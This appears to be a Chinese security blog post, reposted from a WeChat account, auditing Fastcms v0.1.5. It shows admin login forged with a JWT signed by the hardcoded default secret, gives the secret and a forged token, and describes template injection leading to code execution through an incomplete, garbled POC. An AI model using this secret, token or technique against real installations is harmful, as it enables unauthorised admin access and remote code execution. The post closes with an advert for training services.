经常会遇到jwt secret硬编码导致的权限绕过,本项目可以通过jwt权限绕过+模版注入rce
jwt伪造
fastcms-v0.1.5-release/web/src/main/resources/application.yml
使用默认的jwt密钥
SecretKey012345678901234567890123456789012345678901234567890123456789
com/fastcms/web/security/AuthConfigs.java
可以看到从配置文件获取jwt secretKey
com.fastcms.web.security#createToken()
可以看到jwt生成
然后子啊jwt.io填入以下信息,得到token
exp改为过期时间,修改为9999999999过期 来到登入点,随便输入后登陆,截取登陆的返回包
贴上以上放回包,即可伪造admin登陆
{"code":200,"message":null,"data":
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiMSIsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIs
ImV4cCI6OTk5OTk5OTk5OX0.Sa-kHpiuCAvqanZAcZK_zRGdwnAJaiasB9S-
hP5ge38","tokenTtl":18000,"superAdmin":true,"username":"admin","nickname":"admin","head
Img":null,"hasRole":true,"version":"Fastcms:v0.1.6-SNAPSHOT","userType":1}}
使用伪造的jwt登陆admin用户成功
模版注入
全局查询
com.fastcms.core.utils#render
com.fastcms.core.template#processTemplate
可以看在模版渲染的时候都没有做处理,所以导致模版注入。所以只要修改一下模版就能rce
修改后保存,访问主⻚即可rce。
POC
<
Calculator.app") }
枇杷下单、CTF办赛、珂兰寺培训、众测、考证、认证培训全套服务 + b站:我身后风呼啸 ;想被割韭菜知识星球:黑伞安全
原文始发于微信公众号(黑伞安全):刷爆码云系列:Fastcms 代码审计(第二篇)